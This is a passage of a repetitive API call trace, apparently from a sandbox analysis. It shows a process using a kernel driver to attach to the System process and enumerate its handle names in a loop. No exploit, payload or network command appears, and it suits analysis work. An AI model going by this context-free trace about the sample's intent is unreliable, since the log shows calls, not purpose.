HandleInformation=0x0) returned 0x0 [0110.983] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.983] PsReleaseProcessExitSynchronization () returned 0x2 [0110.983] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.983] ObQueryNameString (in: Object=0xfffffa800213b2f0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.983] ObfDereferenceObject (Object=0xfffffa800213b2f0) returned 0x2 [0110.983] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.983] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.983] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.983] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.983] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.983] PsAcquireProcessExitSynchronization () returned 0x0 [0110.983] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.983] ObReferenceObjectByHandle (in: Handle=0xffffffff800006fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002133af0, HandleInformation=0x0) returned 0x0 [0110.983] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.983] PsReleaseProcessExitSynchronization () returned 0x2 [0110.983] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.983] ObQueryNameString (in: Object=0xfffffa8002133af0, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.983] ObfDereferenceObject (Object=0xfffffa8002133af0) returned 0x2 [0110.983] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.983] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.983] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.983] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.983] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.983] PsAcquireProcessExitSynchronization () returned 0x0 [0110.983] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.983] ObReferenceObjectByHandle (in: Handle=0xffffffff80000708, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800213bd20, HandleInformation=0x0) returned 0x0 [0110.983] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.983] PsReleaseProcessExitSynchronization () returned 0x2 [0110.983] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.983] ObQueryNameString (in: Object=0xfffffa800213bd20, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.983] ObfDereferenceObject (Object=0xfffffa800213bd20) returned 0x2 [0110.984] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.984] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.984] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.984] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.984] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.984] PsAcquireProcessExitSynchronization () returned 0x0 [0110.984] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.984] ObReferenceObjectByHandle (in: Handle=0xffffffff8000070c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002133350, HandleInformation=0x0) returned 0x0 [0110.984] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.984] PsReleaseProcessExitSynchronization () returned 0x2 [0110.984] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.984] ObQueryNameString (in: Object=0xfffffa8002133350, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.984] ObfDereferenceObject (Object=0xfffffa8002133350) returned 0x2 [0110.984] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.984] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.984] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.984] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.984] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.984] PsAcquireProcessExitSynchronization () returned 0x0 [0110.984] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.984] ObReferenceObjectByHandle (in: Handle=0xffffffff80000714, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002c4a2b0, HandleInformation=0x0) returned 0x0 [0110.984] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.984] PsReleaseProcessExitSynchronization () returned 0x2 [0110.984] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.984] ObQueryNameString (in: Object=0xfffffa8002c4a2b0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.984] ObfDereferenceObject (Object=0xfffffa8002c4a2b0) returned 0x2 [0110.984] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.984] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.984] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.984] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.984] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.984] PsAcquireProcessExitSynchronization () returned 0x0 [0110.984] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.985] ObReferenceObjectByHandle (in: Handle=0xffffffff80000718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002139d20, HandleInformation=0x0) returned 0x0 [0110.985] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.985] PsReleaseProcessExitSynchronization () returned 0x2 [0110.985] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.985] ObQueryNameString (in: Object=0xfffffa8002139d20, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.985] ObfDereferenceObject (Object=0xfffffa8002139d20) returned 0x2 [0110.985] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.985] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.985] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.985] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.985] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.985] PsAcquireProcessExitSynchronization () returned 0x0 [0110.985] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.985] ObReferenceObjectByHandle (in: Handle=0xffffffff8000071c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80037aea30, HandleInformation=0x0) returned 0x0 [0110.985] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.985] PsReleaseProcessExitSynchronization () returned 0x2 [0110.985] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.985] ObQueryNameString (in: Object=0xfffffa80037aea30, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.985] ObfDereferenceObject (Object=0xfffffa80037aea30) returned 0x2 [0110.985] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.985] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.985] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.985] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.985] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.985] PsAcquireProcessExitSynchronization () returned 0x0 [0110.985] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.985] ObReferenceObjectByHandle (in: Handle=0xffffffff80000724, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002066a30, HandleInformation=0x0) returned 0x0 [0110.985] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.985] PsReleaseProcessExitSynchronization () returned 0x2 [0110.985] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.986] ObQueryNameString (in: Object=0xfffffa8002066a30, ObjectNameInfo=0xfffffa80037b8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b8044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.986] ObfDereferenceObject (Object=0xfffffa8002066a30) returned 0x2 [0110.986] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.986] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.986] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.986] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.986] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.986] PsAcquireProcessExitSynchronization () returned 0x0 [0110.986] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.986] ObReferenceObjectByHandle (in: Handle=0xffffffff80000728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800312cf20, HandleInformation=0x0) returned 0x0 [0110.986] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.986] PsReleaseProcessExitSynchronization () returned 0x2 [0110.986] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.986] ObQueryNameString (in: Object=0xfffffa800312cf20, ObjectNameInfo=0xfffffa800280d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800280d044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.986] ObfDereferenceObject (Object=0xfffffa800312cf20) returned 0x2 [0110.986] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.986] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.986] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.986] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.986] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.986] PsAcquireProcessExitSynchronization () returned 0x0 [0110.986] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.986] ObReferenceObjectByHandle (in: Handle=0xffffffff80000730, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800390c050, HandleInformation=0x0) returned 0x0 [0110.986] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.986] PsReleaseProcessExitSynchronization () returned 0x2 [0110.986] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.986] ObQueryNameString (in: Object=0xfffffa800390c050, ObjectNameInfo=0xfffffa80037b0704, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b0704, ReturnLength=0xfffff88005590550) returned 0x0 [0110.987] ObfDereferenceObject (Object=0xfffffa800390c050) returned 0x2 [0110.987] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.987] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.987] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.987] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.987] PsAcquireProcessExitSynchronization () returned 0x0 [0110.987] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.987] ObReferenceObjectByHandle (in: Handle=0xffffffff80000734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80022f8860, HandleInformation=0x0) returned 0x0 [0110.987] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.987] PsReleaseProcessExitSynchronization () returned 0x2 [0110.987] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.987] ObQueryNameString (in: Object=0xfffffa80022f8860, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.987] ObfDereferenceObject (Object=0xfffffa80022f8860) returned 0x2 [0110.987] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.987] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.987] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.987] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.987] PsAcquireProcessExitSynchronization () returned 0x0 [0110.987] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.987] ObReferenceObjectByHandle (in: Handle=0xffffffff8000073c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80033fab60, HandleInformation=0x0) returned 0x0 [0110.987] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.987] PsReleaseProcessExitSynchronization () returned 0x2 [0110.987] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.987] ObQueryNameString (in: Object=0xfffffa80033fab60, ObjectNameInfo=0xfffffa80023ac7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80023ac7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.987] ObfDereferenceObject (Object=0xfffffa80033fab60) returned 0x2 [0110.987] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.988] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.988] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.988] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.988] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.988] PsAcquireProcessExitSynchronization () returned 0x0 [0110.988] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.988] ObReferenceObjectByHandle (in: Handle=0xffffffff80000740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80025243b0, HandleInformation=0x0) returned 0x0 [0110.988] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.988] PsReleaseProcessExitSynchronization () returned 0x2 [0110.988] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.988] ObQueryNameString (in: Object=0xfffffa80025243b0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.988] ObfDereferenceObject (Object=0xfffffa80025243b0) returned 0x2 [0110.988] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.988] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.988] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.988] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.988] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.988] PsAcquireProcessExitSynchronization () returned 0x0 [0110.988] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.988] ObReferenceObjectByHandle (in: Handle=0xffffffff80000748, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003421680, HandleInformation=0x0) returned 0x0 [0110.988] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.988] PsReleaseProcessExitSynchronization () returned 0x2 [0110.988] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.988] ObQueryNameString (in: Object=0xfffffa8003421680, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.988] ObfDereferenceObject (Object=0xfffffa8003421680) returned 0x2 [0110.988] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.988] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.988] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.988] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.988] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.988] PsAcquireProcessExitSynchronization () returned 0x0 [0110.989] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.989] ObReferenceObjectByHandle (in: Handle=0xffffffff8000074c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800381d390, HandleInformation=0x0) returned 0x0 [0110.989] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.989] PsReleaseProcessExitSynchronization () returned 0x2 [0110.989] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.989] ObQueryNameString (in: Object=0xfffffa800381d390, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.989] ObfDereferenceObject (Object=0xfffffa800381d390) returned 0x2 [0110.989] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.989] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.989] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.989] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.989] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.989] PsAcquireProcessExitSynchronization () returned 0x0 [0110.989] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.989] ObReferenceObjectByHandle (in: Handle=0xffffffff80000750, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80026316d0, HandleInformation=0x0) returned 0x0 [0110.989] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.989] PsReleaseProcessExitSynchronization () returned 0x2 [0110.989] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.989] ObQueryNameString (in: Object=0xfffffa80026316d0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.989] ObfDereferenceObject (Object=0xfffffa80026316d0) returned 0x2 [0110.989] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.989] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.989] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.989] DeviceIoControl 